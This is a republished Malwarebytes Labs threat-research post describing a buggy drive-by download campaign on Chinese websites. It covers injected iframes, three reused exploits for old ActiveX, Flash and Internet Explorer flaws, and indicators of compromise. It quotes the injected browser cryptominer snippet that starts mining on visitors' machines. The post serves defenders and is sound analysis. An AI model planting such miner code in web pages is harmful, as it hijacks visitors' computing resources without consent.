{"id":11565,"date":"2018-02-22T09:10:07","date_gmt":"2018-02-22T17:10:07","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2018\/02\/22\/news-5336\/"},"modified":"2018-02-22T09:10:07","modified_gmt":"2018-02-22T17:10:07","slug":"news-5336","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2018\/02\/22\/news-5336\/","title":{"rendered":"Drive-by download campaign targets Chinese websites, experiments with exploits"},"content":{"rendered":"

Credit to Author: J\u00e9r\u00f4me Segura| Date: Thu, 22 Feb 2018 16:00:00 +0000<\/strong><\/p>\n

During our web crawls we sometimes come across bizarre findings or patterns we haven’t seen before. This was the case with a particular drive-by download attack planted on Chinese websites. While by no means advanced (it turned out to be fairly buggy), we witnessed a threat actor experimenting with several different exploits to drop malware.<\/p>\n

For years we have cataloged thousands of Chinese websites injected with the same malicious and rudimentary VBScript code. Even to this day, you can find a countless number of sites that have been (or still are) compromised with that pattern, and most of them happen to be hosted in China.<\/p>\n

\"\"<\/a><\/p>\n

The campaign we stumbled upon starts with sites that were compromised to load external content via scripts and iframe overlays. Although the browser’s address bar shows gusto-delivery[.]com<\/em>, there are several injected layers that expose visitors to unwanted code and malware.<\/p>\n

\"\"<\/a><\/p>\n

For instance, we find a reference to a Coinhive clone:<\/em><\/p>\n

var miner = new ProjectPoi.User('LUdKfdXyeXp9sQZf1pphGOrY', 'john-doe', {   threads: navigator.hardwareConcurrency,   autoThreads: false,   throttle: 0.2,   forceASMJS: false  });   miner.start();<\/pre>\n
\"\"<\/a><\/p>\n
We are unsure whether this is a pure ripoff (the website template is almost identical), but one is different from the other in that the Chinese version (hosted at\u00a0ppoi[.]org<\/em>) only takes a 10 percent commission as opposed to 30 percent for Coinhive.<\/p>\n
\u4e5f\u5c31\u662f\u8bf4\uff0c\u60a8\u5c06\u83b7\u5f97\u6316\u77ff\u6536\u76ca\u768490%\uff0c\u4e0e\u77ff\u6c60\u4e0d\u540c\uff0c\u8fd9\u4e2a\u6536\u76ca\u662f\u56fa\u5b9a\u7684\uff0c\u4e0d\u8bba\u662f\u5426\u7206\u5757\u60a8\u90fd\u5c06\u83b7\u5f97\u8be5\u7b14\u6536\u76ca  \u6211\u4eec\u5e0c\u671b\u4fdd\u755910%\u6765\u8865\u507f\u4e0d\u7206\u5757\u7684\u635f\u5931\uff0c\u7ef4\u6301\u670d\u52a1\u5668\u7684\u8fd0\u884c\u7b49    I.e. you get 90% of the average XMR we earn. Unlike a traditional mining pool, this  rate is fixed, regardless of actual blocks found and the luck involved finding them.   We keep 10% for us to operate this service and to (hopefully) turn a profit.<\/pre>\n
Finally, the most interesting aspect here is the redirection to a server hosting a few exploits as described in the diagram below:<\/p>\n
\"\"<\/a><\/p>\n
On top of a late addition of the aforementioned VBScript similar to the ones found on other Chinese websites, we notice the inclusion of 3 exploits targeting older vulnerabilities in an ActiveX component, the Flash Player and Internet Explorer.<\/p>\n
CVE-2008-2551<\/strong><\/p>\n
This old CVE is a vulnerability with the\u00a0C6 Messenger ActiveX control. The threat actor reused the same code already published here<\/a>\u00a0and simply altered the DownloadUrl to point to their malicious binary. Users (unless their browser settings have been changed) will be presented with a prompt asking them to install this piece of malware.<\/p>\n
\"\"<\/a><\/p>\n
CVE-2015-5119<\/strong><\/p>\n
This is a Flash Player vulnerability affecting Flash up to version\u00a018.0.0.194, which was again lifted from a proof of concept. Its implementation in this particular drive-by is somewhat unstable though and may cause the browser to crash.<\/p>\n
\"\"<\/a><\/p>\n
CVE-2016-0189<\/strong><\/p>\n
Finally a more interesting CVE, the well-known Internet Explorer God Mode, although for some unexplained reason, the code was commented out.<\/p>\n
\"\"<\/a><\/p>\n
The final payload dropped in this campaign is a DDoS bot, which we will cover in another blog post.<\/p>\n
Conclusion<\/h3>\n
Although we see the use of several exploits, we cannot call this an exploit kit\u2014not even an amateur one. Indeed, the domain serving the exploits appears to be static and the URIs are always the same.<\/p>\n
Regardless, it does not prevent threat actors from arranging drive-by attacks by copying and pasting various pieces of code they can find here and there. While not very effective, they may still be able to compromise some legacy systems or machines that have not been patched.<\/p>\n
Indicators of compromise<\/h3>\n
Malicious redirection<\/p>\n
vip.rm028[].cn  by007[.]cn<\/pre>\n
Exploit domain and IP<\/p>\n
shiquanxian.cn  103.85.226.65<\/pre>\n
CVE-2008-2551<\/p>\n
5E3AC16B7F55CA52A7B4872758F19D09BD4994190B9D114D68CAB9F1D9D5B467<\/pre>\n
CVE-2015-5119<\/p>\n
D53F3FE4354ACFE7BD12528C20DA513DCEFA98B1D60D939BDE32C0815014137E<\/pre>\n
Payload<\/p>\n
65ABED6C77CC219A090EBEF73D6A526FCCEDAA391FBFDCB4B416D0845B3D0DBC<\/pre>\n
The post Drive-by download campaign targets Chinese websites, experiments with exploits<\/a> appeared first on Malwarebytes Labs<\/a>.<\/p>\n
https:\/\/blog.malwarebytes.com\/feed\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Credit to Author: J\u00e9r\u00f4me Segura| Date: Thu, 22 Feb 2018 16:00:00 +0000<\/strong><\/p>\n\n\n\n
<\/a><\/td>\n<\/tr>\n
This custom made drive-by download attack targets some Chinese websites and their visitors while experimenting with exploits.<\/p>\n
Categories: <\/p>\n